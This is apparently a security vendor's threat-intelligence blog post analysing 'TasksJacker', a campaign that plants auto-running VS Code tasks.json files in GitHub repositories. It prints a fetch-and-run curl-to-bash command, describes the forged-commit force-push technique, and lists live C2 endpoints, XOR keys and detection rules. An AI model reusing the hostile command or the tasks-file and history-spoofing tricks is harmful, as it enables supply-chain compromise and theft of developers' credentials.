BLOG

TasksJacker DPRK Attack Compromises GitHub Users Via VS Code Tasks

A technical deep-dive into the next generation of DPRK attacks that borrows from Shai-hulud and Contagious Interview to compromise dozens of GitHub users

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 · 2026-03-31T12:00:00.000Z

OpenSourceMalware identified a new Lazarus Group (DPRK) attack we have dubbed "TasksJacker." It drops malicious VS Code tasks files into unsuspecting GitHub users existing repositories. This is a parallel attack to the PolinRider upstream injection campaign that OpenSourceMalware identified in early March — a campaign that evolved directly from the credential theft documented here into fork-and-PR attacks targeting projects with over 1 million combined GitHub stars. TasksJacker also shares its force-push git history rewriting technique with the GlassWorm ForceMemo campaign, a separate threat actor that compromised hundreds of GitHub repositories and hijacked popular React Native npm packages with 130K+ monthly downloads using the same TTP.

Executive Summary

As of March 30, 2026, this campaign is still active. New victims are being compromised, new infrastructure is being deployed, and threat actors are actively adapting to evade detection.

The campaign we've dubbed "TasksJacker" represents one of the most sophisticated supply chain attacks targeting the open-source ecosystem in recent memory. Over the course of approximately one month, DPRK-linked threat actors have compromised 400+ GitHub repositories across dozens of organizations—including DataStax, a major database vendor whose repositories are cloned by thousands of developers worldwide.

What makes TasksJacker novel isn't just its scale—it's the attack vector. By weaponizing VS Code's tasks.json auto-execution feature, attackers have created a scenario where simply opening a cloned repository in your IDE can compromise your system. No user interaction required beyond a git clone and opening the folder.

Add to this the first documented use of multi-blockchain command and control infrastructure by a nation-state actor—spanning TRON, Aptos, and Binance Smart Chain—and you have malware infrastructure that cannot be taken down through traditional domain seizures.

Today, we're publishing the first comprehensive analysis of this ongoing campaign, including newly discovered infrastructure deployed after the original C2 was taken down. Since our original reporting in February, the threat landscape has expanded significantly: the PolinRider identity documented in our attribution section has become the namesake of a full upstream injection campaign targeting 31+ forks of major projects including VS Code, Rails, and Apache Superset. Meanwhile, a separate threat actor — GlassWorm — has independently adopted the same force-push commit injection technique to compromise hundreds of GitHub repositories and hijack legitimate npm packages.

The threat actors are not stopping. Neither should we.

Timeline of Discovery

The DataStax Wake-Up Call

Our investigation began on January 31, 2026, when we observed anomalous activity in GitHub's API data for several DataStax repositories. A service account named ds-jenkins-builds—a legitimate CI/CD automation account created in 2014—had pushed changes to 12 repositories across three organizations in exactly 101 seconds.

The speed was inhuman, and the pattern was unmistakable: This was automated, and it was being driven by AI.

When we examined the commits, we found something even more troubling. The pushed code contained malicious .vscode/tasks.json files configured to execute arbitrary shell commands the moment a developer opened the repository folder. But the commit metadata told a different story—timestamps backdated by months, author information spoofed to match legitimate maintainers.

This wasn't just an attack. It was a carefully orchestrated campaign to inject malware while leaving minimal forensic traces.

Mapping the Full Campaign

As we dug deeper, the DataStax incident revealed itself as one wave of a much larger operation. Our analysis of GitHub's API data, combined with intelligence from partner organizations, uncovered the true scope:

Phase

Date Range

Description

Phase 1: Probing

Jan 15-28, 2026

Initial testing with 1-4 repos/day

Phase 2: Mass Compromise

Jan 29, 2026

39 repositories in one day—peak attack velocity

Phase 3: DataStax Escalation

Jan 31, 2026

12 high-value repositories in 101 seconds

Phase 4: Continued Operations

Feb 1-10, 2026

Sustained attacks, 1-5 repos/day

Phase 5: C2 Takedown

Before Feb 12, 2026

Original infrastructure taken offline

Phase 6: The Reboot

Feb 13-20, 2026

New infrastructure deployed, attacks resume

Phase 7: PolinRider Upstream Injection

Mar 4-18, 2026

Campaign evolves — compromised accounts fork popular repos, submit malicious PRs upstream

Phase 8: GlassWorm Parallel Campaign

Mar 14-16, 2026

Separate threat actor adopts force-push TTPs, compromises hundreds of GitHub repos and npm packages

The peak attack day was January 29, 2026, when threat actors compromised 39 repositories in a single day. One account, pt67, was used to push malicious code to 14 repositories in just 67 seconds—the fastest burst we recorded.

Perhaps most concerning: pt67 was compromised twice. After the initial January 29 attack, the same account was re-compromised on February 6. The account owners either never noticed the first attack or failed to properly secure their credentials.

The Campaign Continues

When we confirmed that the original C2 domain (260120.vercel.app) had been taken down before February 12, we briefly hoped the operation might be winding down.

We were wrong.

On February 20, 2026—today—we discovered that threat actors have deployed an entirely new infrastructure layer. They've pivoted from a single Vercel endpoint to a distributed architecture using URL shorteners as an obfuscation layer hiding 7 new Vercel endpoints.

More critically, we've confirmed at least 9 newly compromised repositories that remain infected at the time of publication. The campaign isn't over. It's evolving.

Technical Deep Dive: The TasksJacker Attack Vector

The Problem with tasks.json

Visual Studio Code is the world's most popular code editor, with over 70% market share among developers. One of its powerful features is "VS Code Tasks"—automated scripts that can be triggered by various events, including simply opening a project folder.

Here's the attack surface: When you clone a repository and open it in VS Code, the editor reads .vscode/tasks.json. If that file contains a task with "runOn": "folderOpen", VS Code will execute the specified command automatically.

For legitimate use cases, this enables helpful automations—installing dependencies, starting development servers, running setup scripts. For attackers, it's a direct path to code execution.

The attack chain is devastatingly simple:

1. Developer clones a repository (e.g., git clone https://github.com/datastax/cassandra-quarkus)

2. Developer opens the folder in VS Code

3. VS Code reads .vscode/tasks.json

4. Malicious task executes: curl https://[C2]/settings/linux | bash

5. Multi-stage payload deploys

6. System compromised

The .vscode directory is routinely ignored in security reviews. It's not executable code—it's "just configuration." But in TasksJacker, that configuration becomes a weapon.

The History Rewriting Technique

The threat actors didn't just inject malicious files. They rewrote git history to make their changes appear legitimate.

In each compromised repository, we found a script called temp_auto_push.bat—an attacker tool accidentally left behind. This script reveals the technique:

1. Extract original commit metadata: The script reads the legitimate commit's timestamp, author name, and email

2. Manipulate system clock: The attacker's machine clock is set to match the original commit time

3. Configure git identity: git config user.name and user.email are set to the legitimate author

4. Amend the commit: git commit --amend --no-verify injects malicious files into the existing commit

5. Force push: git push -uf origin --no-verify overwrites the remote history

The result: A commit that appears to be from a trusted maintainer, dated weeks or months ago, containing code that wasn't in the original pull request.

When we compared the files listed in pull requests to the files present in the corresponding commits, the discrepancy was clear. PR #266 for datastax/cassandra-quarkus showed only legitimate pom.xml modifications. The actual commit included those files plus .vscode/tasks.json, .vscode/settings.json, and temp_auto_push.bat.

The Malicious Payload Structure

TasksJacker uses a multi-stage payload architecture designed for stealth and resilience:

Stage 0: Compromised GitHub Repository The attack surface. Contains malicious .vscode/tasks.json that triggers on folder open.

Stage 1: Self-Deleting Bash Dropper Downloaded from C2, this script:

• Detects the operating system (Linux, macOS, Windows)

• Checks if Node.js is installed

• If not, downloads a portable Node.js installation to ~/.vscode/node-v*-[OS]-x64/—disguised as VS Code files

• Executes the embedded JavaScript payload

• Deletes itself using a trap on exit

Stage 2: JavaScript Loader with Blockchain C2 The core of TasksJacker's innovation. This heavily obfuscated JavaScript:

• Establishes communication with blockchain APIs (TRON, Aptos)

• Retrieves transaction data containing encrypted payload references

• Fetches encrypted payloads from Binance Smart Chain transactions

• XOR decrypts payloads with static keys

• Executes retrieved code

Stage 3A: Information Stealer (Immediate) Executed via eval() in the main process:

• Browser credentials (Chrome, Firefox, Edge)

• Cryptocurrency wallet data (MetaMask, Phantom, etc.)

• SSH keys (~/.ssh/)

• AWS credentials (~/.aws/)

• Environment variables and API keys

• Git credentials and tokens

Stage 3B: Persistent Backdoor (Detached) Spawned as a detached child process:

• Survives parent process termination

• Hidden on Windows (windowsHide: true)

• Redirects stdio to /dev/null

• Establishes persistent C2 communication

• Enables remote command execution

The two-stage final payload is clever: Stage 3A steals everything immediately available, while Stage 3B maintains long-term access even if the initial theft is detected.

Blockchain-Based C2: A New Frontier in Nation-State Malware

Why This Matters

Traditional command and control infrastructure has an Achilles heel: domains can be seized, IPs can be blocked, servers can be taken down. When security researchers or law enforcement identify malicious infrastructure, they can request takedowns from hosting providers or registrars.

Blockchain changes this equation entirely.

TasksJacker stores its payload references and encrypted code in blockchain transactions. Once data is written to a blockchain, it cannot be deleted. No authority can seize it. No hosting provider can remove it. The data lives forever, replicated across thousands of nodes worldwide.

For malware operators, this creates censorship-resistant infrastructure. Even if every traditional C2 server is taken down, the blockchain components remain operational.

The Multi-Chain Architecture

TasksJacker doesn't rely on a single blockchain—it uses three, with built-in fallback mechanisms:

Primary Chain: TRON The malware first queries TRON blockchain addresses via api.trongrid.io. Transaction data from these addresses contains a pointer to the next step—specifically, a BSC transaction hash stored in reversed hexadecimal format.

Fallback Chain: Aptos If TRON queries fail, the malware falls back to Aptos blockchain addresses via fullnode.mainnet.aptoslabs.com. Same purpose: retrieve the BSC transaction hash.

Payload Storage: Binance Smart Chain (BSC) The actual encrypted payloads are stored in BSC transaction input data. The malware queries BSC RPC nodes (bsc-dataseed.binance.org or bsc-rpc.publicnode.com) using the hash retrieved from TRON/Aptos.

The encrypted payload is extracted from the transaction's input field, decoded from hexadecimal, split on a delimiter (?.?), and XOR decrypted with static keys:

• Payload 1 key: 2[gWfGj;<:-93Z^C

• Payload 2 key: m6:tTh^D)cBz?NM]

For Security Leadership: What This Means

Think of blockchain C2 as hiding instructions in a public ledger that nobody can delete. Traditional takedown methods—coordinating with hosting providers, sending abuse reports, obtaining court orders for domain seizures—don't work here.

The implications for defenders are significant:

• Blocking API endpoints helps but isn't definitive: You can block api.trongrid.io, but there are multiple public TRON API endpoints

• Payload updates are trivial: Attackers simply create new blockchain transactions

• Attribution is harder: Blockchain addresses are pseudonymous

• Infrastructure is effectively immortal: Once deployed, C2 data persists indefinitely

This represents a meaningful evolution in malware infrastructure. We've seen blockchain used for C2 before, but never at this scale by a nation-state actor with multiple blockchain fallbacks.

Attribution: The Polin9912 Connection

Identifying the ring leader

We were able to track a single GitHub user to the use of certain c2 assets. The account name of that GitHub user is Polin9912.

Attribute

Value

GitHub Username

Polin9912

User ID

248093442

Account Created

December 6, 2025

Public Repos

3

Followers

53

Following

1,193

The account was created approximately 40 days before the campaign began—sufficient time for preparation while maintaining the appearance of a relatively new but not suspicious account.

Contact Information

In one of Polin9912's repositories (Sample), we found direct contact information:

• Telegram: @JackTomesSecret

• Discord: Jacky Tomes

• Email: jacky870120@outlook.com

A second email address, PolinRider@outlook.com, appears in git commit metadata across multiple repositories. The use of two distinct personas—"Jacky Tomes" for contact purposes and "PolinRider" for development—suggests operational awareness of identity separation.

Operational Security: What Impressed Us

Several aspects of this operation demonstrate unusual sophistication:

Patterns of use: We were able to track how the Polin9912 threat actor orchestrated their infrastructure automation, and the OSM team developed custom detection rules for several of the threat actors behaviours.

Compartmentalization: Despite extensive analysis, we found zero GitHub social graph connections between Polin9912 and any of the 62+ compromised accounts used in the attack. No follows, no starred repositories, no interactions. The C2 operator is completely isolated from the account compromise operations.

This suggests one of two scenarios:

1. A coordinated team where C2 infrastructure and account compromise are handled by separate operators

2. A well-disciplined single operator maintaining strict compartmentalization

Timing: The Sample repository (containing contact information) was created on January 29, 2026 at 01:37 UTC. The first mass attack began at 02:35 UTC—exactly 58 minutes later. This timing suggests final preparation immediately before campaign launch.

DPRK Attribution Assessment

The campaign exhibits multiple characteristics consistent with DPRK cyber operations:

• Supply chain attack methodology (consistent with "Contagious Interview" campaign patterns)

• Developer-focused targeting

• Cryptocurrency and credential theft objectives

• Sustained month-long operations indicating well-resourced actors

However, some TTPs deviate from typical DPRK patterns:

• Automated deployment patterns for Vercel assets, and GitHub assets

• Public contact information (DPRK operations typically avoid this)

• Dual email personas (more sophisticated opsec than typical)

Attribution confidence: HIGH for C2 infrastructure ownership by Polin9912; MEDIUM-HIGH for DPRK affiliation.

Campaign Evolution: The Reboot

Infrastructure Pivot After Takedown

When 260120.vercel.app was taken down before February 12, 2026, we anticipated possible campaign disruption.

Instead, we observed rapid adaptation.

Between February 13 and February 20, threat actors deployed an entirely new infrastructure layer—more distributed, more obfuscated, and harder to track.

The URL Shortener Layer

The most significant change: TasksJacker now uses short.gy URL shorteners to hide the actual C2 endpoints. We've identified 5 subdomains:

Subdomain

Purpose

cgbrandh.short.gy

Payload distribution

chvsvr.short.gy

Payload distribution

gurucooldown.short.gy

Payload distribution

location-request-api.short.gy

Payload distribution

PEsnCV.short.gy

Payload distribution

Each subdomain hosts multiple redirect URLs following a consistent pattern—the suffix indicates the target operating system:

• l = Linux payload

• m = macOS payload

• w = Windows payload

Example URLs:

• cgbrandh.short.gy/haCgNg6l → Linux

• cgbrandh.short.gy/haCgNg6m → macOS

• cgbrandh.short.gy/haCgNg6w → Windows

New Vercel Endpoints

Behind the short.gy redirects, we've identified 7 new Vercel endpoints:

Endpoint

Naming Pattern

vscode-settings-tasks-json.vercel.app

VS Code themed (operational)

vscodesetting-task.vercel.app

VS Code themed (operational)

default-configuration.vercel.app

Generic/legitimate sounding

jameslack.vercel.app

Western persona name

alanservice.vercel.app

Western persona + service

georgeservice77.vercel.app

Western persona + service

felixpools.vercel.app

Western persona name

The naming conventions show two distinct patterns: VS Code-themed names for operational endpoints and Western persona names for others—possibly backup infrastructure or testing.

Why URL Shorteners Matter

This infrastructure pivot is significant for several reasons:

1. Obfuscation: Quick inspection of infected repositories shows a short.gy URL rather than a Vercel domain—less immediately suspicious

2. Rotation: URL shortener destinations can be changed without modifying repository contents

3. Friction: Investigators must resolve redirects to identify actual infrastructure

4. Redundancy: Multiple endpoints make complete takedown harder

9+ New Victims: Still Infected

As of February 20, 2026, we've confirmed at least 9 newly compromised repositories—all still infected at time of writing:

1. Devba/W3agregador — Web3 aggregator project

2. ishanrt119/NFT-Marketplace — NFT marketplace implementation

3. icecoldjay/bri — Unknown purpose

4. mindshare-solution-collect/card-activity — Business application

5. EmanDeveloper/text-to-image — AI/ML tool

6. abdurrahman310303/DSA-in-python — Educational (Data Structures)

7. hvmgeeks/frontendengine1 — Frontend development

8. AbdulAhad-2005/Voting-System — Democracy/voting application

9. Adan-Asim/E-commerce-Admin-App-Backend — E-commerce

The targeting is indiscriminate: NFT projects, e-commerce, educational repositories, AI tools. The common factor isn't the project type—it's the vulnerability of the account credentials.

These repositories remain compromised. Anyone who clones and opens them in VS Code will execute the malicious payload.

What This Tells Us

The campaign shows active maintenance and adaptation:

• Rapid pivot from single endpoint to distributed infrastructure

• Addition of URL shortener obfuscation layer

• Continued targeting of new victims post-takedown

• Infrastructure diversification (1 endpoint → 7+ endpoints)

The threat actors are monitoring takedown efforts and responding. This is not a fire-and-forget operation—it's an actively managed campaign.

Related Campaigns: A Converging Threat Landscape

Since our original reporting on TasksJacker in February 2026, the techniques documented here have appeared in two additional campaigns — one directly connected to the same threat actor, and another from a separate actor that independently converged on the same TTPs. Together, these campaigns paint a picture of git history manipulation and blockchain C2 becoming standard tools in the supply chain attacker's playbook.

PolinRider: From Credential Theft to Upstream Injection

The PolinRider@outlook.com email address that appears throughout TasksJacker's git commit metadata has become the namesake of a far larger campaign. In March 2026, we discovered that the credentials stolen by TasksJacker were being used to execute a fork-and-PR upstream injection attack — the natural next step after compromising developer machines.

The attack flow is a direct extension of TasksJacker:

1. TasksJacker compromises the developer via malicious .vscode/tasks.json → credentials stolen

2. PolinRider uses those credentials to fork popular open-source projects from the victim's GitHub account

3. Malicious payloads are injected into JavaScript config files (eslint.config.mjs, postcss.config.mjs, tailwind.config.js) — files that execute during builds but are rarely scrutinized in code review

4. PRs are submitted upstream from the infected forks, disguised as legitimate contributions

The results have been alarming:

• 31 infected forks targeting projects with a combined 1 million+ GitHub stars — including Microsoft VS Code (182K stars), LangFlow (145K), Apache Superset (70K), Rails (58K), Expo (48K), and Astro (57K)

• 3 PRs successfully merged with malware into production repositories (Softvence organization), delivering both the PolinRider payload and the temp_auto_push.bat propagation script

• 2 malicious PRs found open against prisma-examples and prisma-zod-generator — we warned the maintainers

• 9 compromised GitHub accounts identified as repeat offenders with multiple infected forks

The same temp_auto_push.bat script documented in TasksJacker's History Rewriting Technique section is used by PolinRider to amend commits, spoof timestamps, and force-push silently. The same TRON C2 addresses (TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP, TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG) appear in the PolinRider payload.

TasksJacker and PolinRider are not separate campaigns — they are two phases of the same operation. TasksJacker is the credential harvesting phase. PolinRider is the weaponization phase.

For the full technical analysis, see our dedicated report: PolinRider is Forking Popular Projects and Submitting Malicious PRs.

GlassWorm: A Separate Actor, the Same Force-Push Playbook

On March 14, 2026, a separate threat actor — GlassWorm — launched the ForceMemo campaign, compromising hundreds of GitHub Python repositories using the same force-push commit injection technique documented in TasksJacker. GlassWorm is not attributed to DPRK (notably, the malware includes Russia geofencing absent in TasksJacker), but the TTP overlap is striking: force-push history rewriting, blockchain-based C2 (Solana instead of TRON/Aptos/BSC), multi-stage encrypted payloads executed in-memory, and credential/crypto theft objectives. Two days later, GlassWorm escalated to npm by hijacking two popular React Native packages with 130,000+ monthly downloads using a stolen publishing token.

The convergence of multiple threat actors on the same techniques — force-push commit injection, blockchain C2, and cross-ecosystem escalation — suggests these TTPs are becoming commoditized. What TasksJacker pioneered is now being adopted by others.

For the full technical analysis, see our dedicated report: GlassWorm Hijacks Popular React Native Packages.

Victim Impact & Scale

The DataStax Incident

DataStax, a company providing commercial support for Apache Cassandra and developer tools for database access, became one of the highest-profile victims.

In a 101-second window on January 31, 2026, the compromised ds-jenkins-builds service account pushed malicious code to 12 repositories across 3 organizations:

datastax organization:

• datastax/cassandra-quarkus

• datastax/graph-examples

• datastax/metric-collector-for-apache-cassandra

• datastax/native-protocol

• datastax/pulsar-sink

DataStax-Academy organization:

• DataStax-Academy/ac201-labs

• DataStax-Academy/ac220-labs

KillrVideo organization:

• KillrVideo/killrvideo-2025-refresh

• KillrVideo/killrvideo-data

• KillrVideo/killrvideo-react-frontend

• KillrVideo/kv-be-java-springboot3-dataapi-collections

• KillrVideo/kv-be-python-fastapi-dataapi-table

These repositories serve as reference architectures and educational materials for Cassandra developers. Anyone following DataStax tutorials, setting up development environments, or implementing production systems based on these examples could have been compromised.

DataStax remediated their repositories by February 3, 2026—but the exposure window was significant.

Beyond DataStax

Other organizations affected by this campaign include:

• Overdose-Digital: Multiple repositories compromised

• hackforla: Multiple repositories compromised (civic tech/volunteer organization)

• GARAGE-POS: Repository compromises identified

• softvence-omega-future-stack: Repository compromises identified

The Repeat Victim Problem

Perhaps the most concerning finding: some accounts were compromised multiple times.

The account pt67 was initially compromised on January 29, 2026, with 14 repositories attacked in 67 seconds. Despite this dramatic event, the same account was compromised again on February 6—an additional repository push.

This pattern suggests that victims either:

1. Never detected the initial compromise

2. Detected it but failed to properly rotate credentials

3. Were re-compromised through the same vulnerability

For security teams, this underscores a critical point: detecting a supply chain attack is only the first step. Complete credential rotation and forensic analysis must follow.

Supply Chain Reach

The repositories targeted by TasksJacker aren't random personal projects. Many are:

• Educational repositories: Tutorials, labs, reference implementations

• Reference architectures: Templates developers copy for production systems

• Popular frameworks: Tools with significant downstream usage

When an educational repository is compromised, every student following that tutorial becomes a potential victim. When a reference architecture is poisoned, production systems built from that template carry the infection.

This is the multiplier effect of supply chain attacks—one compromised repository can lead to hundreds or thousands of infected development environments.

Detection & Defense

For Individual Developers

Disable VS Code auto-execution immediately:

1. Open VS Code settings (Ctrl+, or Cmd+,)

2. Search for "task"

3. Find "Task: Allow Automatic Tasks In Folder"

4. Set to "off" or "prompt" (never "on")

Audit .vscode directories in any repository before opening:

# Before opening a cloned repo in VS Code:
find . -name "tasks.json" -path "*/.vscode/*" -exec cat {} \;

# Look for suspicious patterns:
# - "runOn": "folderOpen"
# - curl/wget commands
# - References to vercel.app, short.gy, or unfamiliar domains

Check git history for timestamp anomalies:

# Compare pushed_at timestamps via GitHub API:
gh api repos/[owner]/[repo] --jq '.pushed_at'

# Compare to commit timestamps:
git log --format="%H %ai" -10

# Large discrepancies (months/years) indicate potential history rewriting

For Security Teams

GitHub API timestamp validation:

Implement automated monitoring that compares:

• pushed_at field (immutable, cannot be spoofed)

• Commit author timestamps (can be spoofed)

• PR merge timestamps

Flag any discrepancies greater than 24 hours for investigation.

YARA rules for blockchain addresses:

rule TasksJacker_Blockchain_IOCs
{
    meta:
        description = "Detects TasksJacker blockchain C2 addresses"
        author = "OpenSourceMalware.com"
        date = "2026-02-20"

    strings:
        $tron1 = "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP"
        $tron2 = "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG"
        $aptos1 = "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e"
        $aptos2 = "0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3"

    condition:
        any of them
}

Process monitoring for Node.js execution:

# Monitor for Node.js running from hidden directories
ps aux | grep "\.vscode.*node"

# Monitor for inline eval execution
ps aux | grep "node -e" | grep -E "(eval|atob)"

Splunk query for TasksJacker network indicators:

index=network sourcetype=firewall OR sourcetype=proxy
| where dest_host IN (
    "api.trongrid.io",
    "fullnode.mainnet.aptoslabs.com",
    "bsc-dataseed.binance.org",
    "bsc-rpc.publicnode.com",
    "*.short.gy",
    "*-vercel.app"
)
| stats count by src_ip, dest_host, user
| where count > 0

For Organizations

CI/CD service account audit:

The ds-jenkins-builds compromise demonstrates the risk of long-lived service accounts with broad access. Review:

• All service accounts with push access to repositories

• Token/credential age (rotate anything older than 90 days)

• Access scope (principle of least privilege)

• Activity logging and anomaly detection

Personal Access Token rotation:

Implement mandatory PAT rotation policies:

• Maximum lifetime of 90 days

• Minimum scope requirements

• Usage logging and review

Repository integrity monitoring:

Deploy automated scanning for:

• .vscode/tasks.json files with folderOpen triggers

• Unexpected force pushes to protected branches

• Commits from service accounts outside normal patterns

• Files present in commits but absent from associated PRs

Call to Action

Check Your Repositories

If you maintain GitHub repositories, verify they haven't been compromised:

1. Check for unexpected .vscode/tasks.json files

2. Verify commit timestamps match expected activity

3. Review recent pushes from service accounts

4. Audit force push activity

Report Findings

If you discover compromised repositories or new TasksJacker infrastructure, report to:

• OpenSourceMalware.com via our threat submission portal

• GitHub Security: security@github.com

• Your organization's security team

Community Intelligence

Supply chain attacks like TasksJacker succeed because they target the trust relationships in our ecosystem. They fail when the community shares intelligence faster than attackers can adapt.

If you're a security researcher, consider:

• Monitoring blockchain addresses for new payload deployments

• Tracking short.gy and Vercel infrastructure for patterns

• Sharing IOCs through threat intelligence platforms

The threat actors are well-resourced and persistent. Our advantage is collective defense—thousands of eyes watching for the next move.

Comprehensive IOC Appendix

Original Infrastructure (TAKEN DOWN)

Type

Value

Status

C2 Domain

260120.vercel.app

TAKEN DOWN

New Infrastructure (ACTIVE as of Feb 20, 2026)

Vercel Endpoints:

Endpoint

Status

vscode-settings-tasks-json.vercel.app

ACTIVE

vscodesetting-task.vercel.app

ACTIVE

default-configuration.vercel.app

ACTIVE

jameslack.vercel.app

ACTIVE

alanservice.vercel.app

ACTIVE

georgeservice77.vercel.app

ACTIVE

felixpools.vercel.app

ACTIVE

short.gy Subdomains:

Subdomain

Example URLs

cgbrandh.short.gy

haCgNg6l, haCgNg6m, haCgNg6w, prUjNg5l/m/w

chvsvr.short.gy

hgMoMq7l, hgMoMq7m, hgMoMq7w

gurucooldown.short.gy

knHbMe8l, knHbMe8m, knHbMe8w

location-request-api.short.gy

MG5GTVq3l, MG5GTVq3m, MG5GTVq3w

PEsnCV.short.gy

rkCiMn9l/m/w, trJnMn9l/m/w, wpGrMn9l/m/w

Blockchain Addresses

TRON Mainnet:

• TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Payload 1 pointer)

• TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Payload 2 pointer)

Aptos Mainnet:

• 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Payload 1 fallback)

• 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Payload 2 fallback)

BSC RPC Endpoints:

• bsc-dataseed.binance.org

• bsc-rpc.publicnode.com

BSC Transaction Hashes (Payload Storage):

• 0xec567681e8c98d694ef6f10303ac37da8cec0180da4c4be4c54e47a0bf31c436

• 0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef

Threat Actor Identifiers

Type

Value

GitHub Account

Polin9912

GitHub User ID

248093442

Telegram

@JackTomesSecret

Discord

Jacky Tomes

Email (Contact)

jacky870120@outlook.com

Email (Git commits)

PolinRider@outlook.com

File Indicators

Path

Description

.vscode/tasks.json

Malicious task with folderOpen trigger

.vscode/settings.json

Malformed configuration (indicator)

temp_auto_push.bat

Attacker tool (history rewriting script)

~/.vscode/node-v*-darwin-x64/

Portable Node.js installation (macOS)

~/.vscode/node-v*-linux-x64/

Portable Node.js installation (Linux)

Cryptographic Indicators

Type

Value

XOR Key (Payload 1)

2[gWfGj;<:-93Z^C

XOR Key (Payload 2)

m6:tTh^D)cBz?NM]

Obfuscation Seed (Payload 1)

3409844

Obfuscation Seed (Payload 2)

3547675

BSC Payload Delimiter

?.?

Detection Rules

Snort/Suricata:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"TasksJacker - TRON API Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/v1/accounts/"; http_uri;
    content:"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP"; http_uri;
    classtype:trojan-activity;
    sid:2026022001; rev:1;
)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"TasksJacker - BSC RPC eth_getTransactionByHash";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"eth_getTransactionByHash"; http_client_body;
    classtype:trojan-activity;
    sid:2026022002; rev:1;
)

Splunk Query:

index=endpoint sourcetype=process
| where (process_name="node" OR process_name="node.exe")
    AND (match(command_line, "eval.*atob")
         OR match(command_line, "api\.trongrid\.io")
         OR match(command_line, "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP")
         OR match(process_path, "\.vscode[/\\\\]node-v"))
| stats count by host, user, process_name, command_line

MITRE ATT&CK Mapping

Tactic

Technique

ID

Initial Access

Supply Chain Compromise

T1195.001

Execution

Command and Scripting Interpreter: JavaScript

T1059.007

Execution

Command and Scripting Interpreter: Unix Shell

T1059.004

Persistence

Create or Modify System Process

T1543

Defense Evasion

Obfuscated Files or Information

T1027

Defense Evasion

Indicator Removal on Host: File Deletion

T1070.004

Defense Evasion

Masquerading

T1036

Credential Access

Credentials from Password Stores

T1555

Credential Access

Unsecured Credentials: Private Keys

T1552.004

Command and Control

Web Service: Dead Drop Resolver

T1102.001

Command and Control

Application Layer Protocol: Web Protocols

T1071.001

Exfiltration

Exfiltration Over C2 Channel

T1041

Conclusion

TasksJacker represents a significant evolution in supply chain attacks. The combination of VS Code task hijacking, git history rewriting, and blockchain-based C2 creates a threat that is both difficult to detect and difficult to disrupt.

What began as a single campaign targeting individual GitHub repositories has revealed itself to be part of a much larger pattern. The PolinRider upstream injection campaign — born directly from credentials stolen by TasksJacker — has put projects with over 1 million combined GitHub stars in the crosshairs, with malware successfully merged into production repositories. Meanwhile, GlassWorm's independent adoption of force-push commit injection and blockchain C2 confirms that these techniques are no longer novel — they are becoming the standard playbook for supply chain attackers.

The convergence is clear: multiple threat actors, different motivations, same TTPs. Force-push git history manipulation, blockchain-based censorship-resistant C2, and cross-ecosystem escalation are now table stakes. Defenders who build detection for one campaign are, increasingly, building detection for all of them.

As of March 2026, these campaigns remain active. PolinRider continues to target new forks. GlassWorm has expanded from GitHub to npm. New infrastructure is being deployed faster than it can be taken down. The threat actors are learning and adapting.

But so are we.

The collective security community's response — rapid intelligence sharing, coordinated takedowns, maintainers like Apache Superset catching malicious PRs in 32 seconds, and public documentation of TTPs — demonstrates that attackers don't operate in a vacuum. Every IOC published makes detection easier. Every technique documented helps defenders prepare.

If you've read this far, you're now part of the solution. Check your repositories. Share these IOCs. Keep watching.

They haven't stopped. Neither should we.